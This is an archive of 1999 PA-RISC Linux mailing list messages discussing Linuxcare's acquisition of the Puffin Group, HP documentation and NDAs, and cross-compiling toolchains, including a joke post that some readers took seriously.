From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Puffin sells out!
Date: Tue, 14 Dec 1999 20:22:19 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <199912150122.UAA01899@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618698 28985 80.91.229.3 (22 Nov 2014 01:11:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Dec 14 18:20:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA03129
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Dec 1999 18:20:16 -0700
Original-Received: (qmail 20827 invoked by uid 15267); 15 Dec 1999 01:22:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20820 invoked from network); 15 Dec 1999 01:22:25 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 01:22:25 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id UAA01899
	for parisc-linux@thepuffingroup.com; Tue, 14 Dec 1999 20:22:20 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6602

Reported in the Wall Street Journal Dec. 14, 1999, see
<http://www.linuxcare.com/company/press/1999/12-14-99_puffin.epl>.  It was
stated that the Puffin Group, a small group of Linux buffs who have been
helping Hewlett-Packard Co., is being purchased by Linuxcare Inc.  Alex
Devries and Christopher Beard will become directors within Linuxcare's
Professional Services Business Unit.

Is this the end?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Wed, 15 Dec 1999 02:39:00 +0000 (GMT)
Lines: 118
Approved: news@gmane.org
Message-ID: <E11y4LG-0000tV-00@the-village.bc.nu>
References: <199912150122.UAA01899@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618698 28988 80.91.229.3 (22 Nov 2014 01:11:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Dec 14 19:37:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA03610
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Dec 1999 19:37:32 -0700
Original-Received: (qmail 16098 invoked by uid 15267); 15 Dec 1999 02:39:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16080 invoked from network); 15 Dec 1999 02:39:49 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 02:39:49 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11y4LG-0000tV-00; Wed, 15 Dec 1999 02:39:02 +0000
In-Reply-To: <199912150122.UAA01899@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 14, 99 08:22:19 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6603

> Reported in the Wall Street Journal Dec. 14, 1999, see
> <http://www.linuxcare.com/company/press/1999/12-14-99_puffin.epl>.  It was
> stated that the Puffin Group, a small group of Linux buffs who have been
> helping Hewlett-Packard Co., is being purchased by Linuxcare Inc.  Alex
> Devries and Christopher Beard will become directors within Linuxcare's
> Professional Services Business Unit.
> 
> Is this the end?

That depends what the Puffingroup and HP folks want to do with the port. If
its carrying on as an open public port and HP are willing to open all 
their document access and like to other folks I dont see a problem. If they
work tightly with LC/Puffingroup and trumpet them as their HP Linux porting
heroes then yes its going to be hard for anyone else to justify working for
them.

I doubt HP are dumb somehow. We'll see. Even if HP and LC do most of the
running in their own private little world it doesnt change things like merging
with the main kernel tree and working with folks to sort out interfaces and 
the like.

Alan

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 18:30:48 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id SAA05146
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 18:30:48 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 18:30:48 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id TAA27733
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 19:13:58 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id TAA15752
	for <pcj@primenet.com>; Wed, 10 Mar 1999 19:13:56 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd015730; Wed Mar 10 19:13:51 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id VAA18632;
	Wed, 10 Mar 1999 21:13:54 -0500
Resent-Date: Wed, 10 Mar 1999 21:13:54 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <7678BED5A989D211A39000A0C94309E908D623@wehcml06>
From: PG40 KCLin <KCLIN@winbond.com.tw>
To: "'hppa-linux@thepuffingroup.com'" <hppa-linux@thepuffingroup.com>
Subject: RE: [hppa-linux] New cross compiling RPMs
Date: Thu, 11 Mar 1999 10:12:42 +0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Resent-Message-ID: <"DdgVs1.0.zY4.YRovs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/168
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 07974c0688ef3c841f6983367e87d4b8
Lines: 53
Xref: merlin.pcj.primenet.com palinux:139

Hi all,

About the new cross compiler, does it support floating-point emulation for
PA-RISC 1.1 architecture level 0? In the cross tool, does it support the
source level debugger based on Windows? or gdb only?

your reply will be appreciated. Thanks!

Best regards,
James K.C. Lin,
Winbond Electronics Corp.
Taiwan. R.O.C.

> ----------
> From: 	Mike Shaver[SMTP:shaver@netscape.com]
> Sent: 	Wednesday, March 10, 1999 PM 10:11
> To: 	hppa-linux@thepuffingroup.com
> Subject: 	Re: [hppa-linux] New cross compiling RPMs
> 
> Phil Schwan wrote:
> > 
> > Mike Shaver just rebuilt Alex's cross compiling RPMs against glibc 2.0
> > rather than 2.1, and they're now available on sod:
> > 
> >
> ftp://sod.res.cmu.edu/pub/parisc/tools/egcs-x-hppa-linux-1.1.1-4.i386.rpm
> > ftp://sod.res.cmu.edu/pub/parisc/tools/binutils-x-hppa-2.9.1-4.i386.rpm
> > 
> > Note that the revision number is still 4, but these are in fact new.
> 
> And hey -- they even work (for me)!
> 
> [shaver@loonie /tmp]$ cat test.c
> int main () { return 0; }
> [shaver@loonie /tmp]$ hppa-linux-gcc -c test.c
> [shaver@loonie /tmp]$ file test.o
> test.o: ELF 32-bit MSB relocatable, PA-RISC, version 1
> [shaver@loonie /tmp]$
> 
> Mike
> 
> -- 
> 169530.70 140316.26
> 
> -------------------------------------------------------------------------
> To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brion Vibber <brion@gizmo.usc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cross-compiling the kernel?
Date: Tue, 14 Dec 1999 23:18:06 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9912142308100.12307-100000@gizmo.usc.edu>
References: <99112722352300.00350@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618698 28990 80.91.229.3 (22 Nov 2014 01:11:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: brion@gizmo.usc.edu  Wed Dec 15 00:16:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA05474
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 00:16:44 -0700
Original-Received: (qmail 4353 invoked by uid 15267); 15 Dec 1999 07:19:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4346 invoked from network); 15 Dec 1999 07:19:03 -0000
Original-Received: from gizmo.usc.edu (root@128.125.111.18)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 07:19:03 -0000
Original-Received: from localhost (brion@localhost)
	by gizmo.usc.edu (8.9.3/8.9.3) with ESMTP id XAA12364
	for <parisc-linux@thepuffingroup.com>; Tue, 14 Dec 1999 23:18:06 -0800
In-Reply-To: <99112722352300.00350@beavis>
Xref: news.gmane.org gmane.linux.ports.parisc:6604

I'm interested in cross-compiling as well... we've got a 735/125 running
only MkLinux, no HPUX, and I can rarely get _anything_ to build right on
it even if I don't mind the slowness.

But we do have some nice fast x86 Linux boxes. I tried to compile the 
binutils out of CVS on one of them, but it crapped out with complaints
about missing SOM stuff, looks like:

gcc -g -O2 -o size size.o bucomm.o version.o filemode.o ../bfd/.libs/libbfd.a ../libiberty/libiberty.a
../bfd/.libs/libbfd.a(targets.o): In function `find_target':
/usr/local/gizmo/brion/src/parisc/binutils-build/bfd/../../
binutils/bfd/targets.c:885: undefined reference to `som_vec'
/usr/local/gizmo/brion/src/parisc/binutils-build/bfd/../../
binutils/bfd/targets.c:885: undefined reference to `som_vec'

Won't be easy to compile a kernel without binutils... Will this have to
wait until the SOM linker is finished, or can I work around that somehow
in the meantime?

-- brion vibber (brion@pobox.com)


From - Thu Nov 08 21:11:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Wed, 15 Dec 1999 03:04:19 -0500
Organization: The Puffin Group
Lines: 19
Approved: news@gmane.org
Message-ID: <38574B82.F270C017@thepuffingroup.com>
References: <199912150122.UAA01899@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618699 28992 80.91.229.3 (22 Nov 2014 01:11:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: adevries@thepuffingroup.com  Wed Dec 15 01:03:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA05924
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 01:03:11 -0700
Original-Received: (qmail 15770 invoked by uid 15267); 15 Dec 1999 08:05:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15758 invoked from network); 15 Dec 1999 08:05:29 -0000
Original-Received: from mg131-051.ricochet.net (HELO feather.thepuffingroup.com) (@204.179.131.51)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 08:05:29 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id DAA01935;
	Wed, 15 Dec 1999 03:04:21 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6605

John David Anglin wrote:
> Is this the end?

Oh, get real.

The Puffin Group will continue to do PA-RISC Linux, but now we'll be
able to put more resources behind it than we've been able to in the
past. It will remain an open source project and will operate as it has. 
The relationship with HP has only been strengthened.

You really should talk to us before coming to such sombre conclusions.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:11:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP releasing docs...
Date: Wed, 15 Dec 1999 03:25:31 -0500
Organization: The Puffin Group
Lines: 37
Approved: news@gmane.org
Message-ID: <3857507B.3248918E@thepuffingroup.com>
References: <E11y4LG-0000tV-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618699 29000 80.91.229.3 (22 Nov 2014 01:11:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:39 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: adevries@thepuffingroup.com  Wed Dec 15 01:29:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA06284
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 01:29:05 -0700
Original-Received: (qmail 21946 invoked by uid 15267); 15 Dec 1999 08:31:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21904 invoked from network); 15 Dec 1999 08:31:22 -0000
Original-Received: from mg131-051.ricochet.net (HELO feather.thepuffingroup.com) (@204.179.131.51)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 08:31:22 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id DAA01949;
	Wed, 15 Dec 1999 03:25:35 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6606

Alan Cox wrote:
> If
> its carrying on as an open public port and HP are willing to open all
> their document access and like to other folks I dont see a problem. 

Having HP opening up documents is probably more difficult than most of
you realize, and in the same way that other hardware vendors can't
release documents on portions of hardware for fear of releasing
competitive information, HP is limited as well.  Expecting HP to open up
*all* documentation is unrealistic.

Also, releasing the documentation isn't just pressing the magic button
labelled "Release Publicly" in red.  The docs have to be found,
screened, edited, reformatted etc. 

Ideally, though, developers will have access to all the hardware they're
porting to. 

What's second best is to be able to do development of certain portions
under NDA.  This can be used when the docs for the hardware *can't* be
released, or when they're not ready to be released.  Advanced viewing
helps out a lot.

The Puffin Group's set up to do this, although we haven't generated any
useable code in this situation yet.  Signing such NDAs has helped us
with quite a few other ways though, in terms of planning.  The open
source linker would never have happened, for instance.

NDA's aren't quite the evil they're made out to be, having them has
really given us a better insight into how to do parisc-linux.

- Alex
-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:11:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP releasing docs...
Date: Wed, 15 Dec 1999 13:17:34 +0000 (GMT)
Lines: 18
Approved: news@gmane.org
Message-ID: <E11yEJD-0001UT-00@the-village.bc.nu>
References: <3857507B.3248918E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618699 29007 80.91.229.3 (22 Nov 2014 01:11:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:39 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, dave@hiauly1.hia.nrc.ca,
        parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Dec 15 06:15:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA10951
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 06:15:54 -0700
Original-Received: (qmail 24281 invoked by uid 15267); 15 Dec 1999 13:18:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24271 invoked from network); 15 Dec 1999 13:18:13 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 13:18:13 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11yEJD-0001UT-00; Wed, 15 Dec 1999 13:17:35 +0000
In-Reply-To: <3857507B.3248918E@thepuffingroup.com> from "Alex deVries" at Dec 15, 99 03:25:31 am
Xref: news.gmane.org gmane.linux.ports.parisc:6607

> Also, releasing the documentation isn't just pressing the magic button
> labelled "Release Publicly" in red.  The docs have to be found,
> screened, edited, reformatted etc. 

I know that.

> Ideally, though, developers will have access to all the hardware they're
> porting to. 

Irrespective of who they work for ?

> What's second best is to be able to do development of certain portions
> under NDA.  This can be used when the docs for the hardware *can't* be
> released, or when they're not ready to be released.  Advanced viewing
> helps out a lot.

Yeah


From - Thu Nov 08 21:11:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Wed, 15 Dec 1999 11:25:14 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <199912151625.LAA02531@hiauly1.hia.nrc.ca>
References: <38574B82.F270C017@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618700 29015 80.91.229.3 (22 Nov 2014 01:11:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec 15 09:23:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA11921
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 09:23:00 -0700
Original-Received: (qmail 8550 invoked by uid 15267); 15 Dec 1999 16:25:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8529 invoked from network); 15 Dec 1999 16:25:16 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 16:25:16 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA02531;
	Wed, 15 Dec 1999 11:25:15 -0500 (EST)
In-Reply-To: <38574B82.F270C017@thepuffingroup.com> from "Alex deVries" at Dec 15, 99 03:04:19 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6608

> John David Anglin wrote:
> > Is this the end?
> 
> Oh, get real.

It was a question not a conclusion.  I was very surprised to learn about
the sale of the Puffin Group in the paper.  The sale clearly had the
potential to change the dynamics of the PA-RISC port.

As you are aware, the linux market is "red-hot" and investors are plowing
mega-bucks into linux companies.  For example, Linuxcare recieved $32.5
million (U.S.) in funding from Dell, Sun, Motorola and Oracle.  HP wasn't
on the list.

It is certain that the investors pouring money into linux companies are
going to demand a return on their investment.  There will be strong pressure
within these companies to control and close the development of linux.
Standards committees will be formed and this will be a further method by
which participating companies will enhance their position in the market place.

If you look at the board of Linicare, you will see that it is made up
mainly of business people, not linux hackers.  How the linux market will
evolve is hard to say but the current consolidation suggests that venture
capitalists are attempting to gain control of large segment of it.

> The Puffin Group will continue to do PA-RISC Linux, but now we'll be
> able to put more resources behind it than we've been able to in the
> past. It will remain an open source project and will operate as it has. 
> The relationship with HP has only been strengthened.

That's very good news.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jack Perdue <j-perdue@tamu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Wed, 15 Dec 1999 12:36:14 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <3.0.5.32.19991215123614.0089abf0@pop.tamu.edu>
References: <199912150122.UAA01899@hiauly1.hia.nrc.ca>
 <199912150122.UAA01899@hiauly1.hia.nrc.ca> <19991214215358.A31893@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618700 29022 80.91.229.3 (22 Nov 2014 01:11:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: j-perdue@tamu.edu  Wed Dec 15 11:34:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA13555
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 11:34:01 -0700
Original-Received: (qmail 16804 invoked by uid 15267); 15 Dec 1999 18:36:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16793 invoked from network); 15 Dec 1999 18:36:21 -0000
Original-Received: from mail.tamu.edu (128.194.103.38)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 18:36:21 -0000
Original-Received: from whitetower.tca.net (dyna-0004.vpn.tamu.edu [172.16.32.4])
	by mail.tamu.edu (8.9.3/8.9.3) with SMTP id MAA20231
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Dec 1999 12:36:18 -0600 (CST)
X-Sender: jkp2866@pop.tamu.edu
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
In-Reply-To: <19991214215358.A31893@thepuffingroup.com>
Original-References: <199912150122.UAA01899@hiauly1.hia.nrc.ca>
 <199912150122.UAA01899@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6609

At 09:53 PM 12/14/99 -0500, some Puffin wrote:

[doomsday scenario snipped]

>> Is this the end?
>
>For parisc-linux, yes.  [snip]

>While employees are not forbidden from continuing to work on the port,
>they are actively encouraged to work on proprietary puffin products in
>their spare time which we shall be making a press release about shortly.

    OTTOWA, Canada (AP) - In a surprise strategy, The Puffin Group
    announced in the wake of their takeover today by Linuxcare, Inc.
    a new policy "encouraging" their workers to work for free, reminiscent
    of the downsizing trend of the 1980s.  Business analysts are confused 
    as to the profitability and viability of such policy.  "Asking your
    employees to give up their spare time to put dollars in the pockets
    of the shareholders seems to be a stretch", said Silicon Valley
    analyst...[etc.]

>The mailing list will be deactivated shortly.  We thank you for your
>participation.

LOL!

>This email may contain confidential and privileged material for the sole
>use of the intended recipient. Any review or distribution by others is
>strictly prohibited.  If you are not the intended recipient please contact
>the sender and delete all copies.

Oops.

>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.

Should we do this now or just wait for its deactivation. :)

jack
j-perdue@tamu.edu




From - Thu Nov 08 21:11:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Korycki <tkorycki@sprint.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Wed, 15 Dec 1999 14:08:16 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <1.5.4.32.19991215190816.00699618@pop3.sprint.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618700 29028 80.91.229.3 (22 Nov 2014 01:11:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:40 +0000 (UTC)
To: people@puffingroup.com, parisc-linux@thepuffingroup.com
Original-X-From: tkorycki@sprint.ca  Wed Dec 15 12:05:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA14078
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 12:05:56 -0700
Original-Received: (qmail 1700 invoked by uid 15267); 15 Dec 1999 19:08:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1691 invoked from network); 15 Dec 1999 19:08:16 -0000
Original-Received: from ha1.rdc3.on.home.com (HELO mail.rdc3.on.home.com) (24.2.9.68)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 19:08:16 -0000
Original-Received: from flow4 ([24.112.191.14]) by mail.rdc3.on.home.com
          (InterMail v4.01.01.02 201-229-111-106) with SMTP
          id <19991215190611.JZXI15480.mail.rdc3.on.home.com@flow4>;
          Wed, 15 Dec 1999 11:06:11 -0800
X-Sender: tkorycki@pop3.sprint.ca
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:6610

        This is what Matthew wrote:

>> Is this the end?
>
>For parisc-linux, yes.  We will be supporting the aforementioned
>database products on HPUX and Solaris.  We're looking to bring in some
>IRIX expertise soon and possibly add Oracle and MS-SQL support too.
>While employees are not forbidden from continuing to work on the port,
>they are actively encouraged to work on proprietary puffin products in
>their spare time which we shall be making a press release about shortly.
>
>The mailing list will be deactivated shortly.  We thank you for your
>participation.
>

        And this is Alex's take:

>John David Anglin wrote:
>> Is this the end?
>
>Oh, get real.
>
>The Puffin Group will continue to do PA-RISC Linux, but now we'll be
>able to put more resources behind it than we've been able to in the
>past. It will remain an open source project and will operate as it has. 
>The relationship with HP has only been strengthened.
>
>You really should talk to us before coming to such sombre conclusions.
>
>- Alex
>

      Am I humour-impaired, or do I sense something smelly here? And if the
former, could we have a clarification? OR, at least, could I? Please?!


From - Thu Nov 08 21:11:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Wed, 15 Dec 1999 15:36:27 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <19991215153627.B978@thepuffingroup.com>
References: <199912150122.UAA01899@hiauly1.hia.nrc.ca> <19991214215358.A31893@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
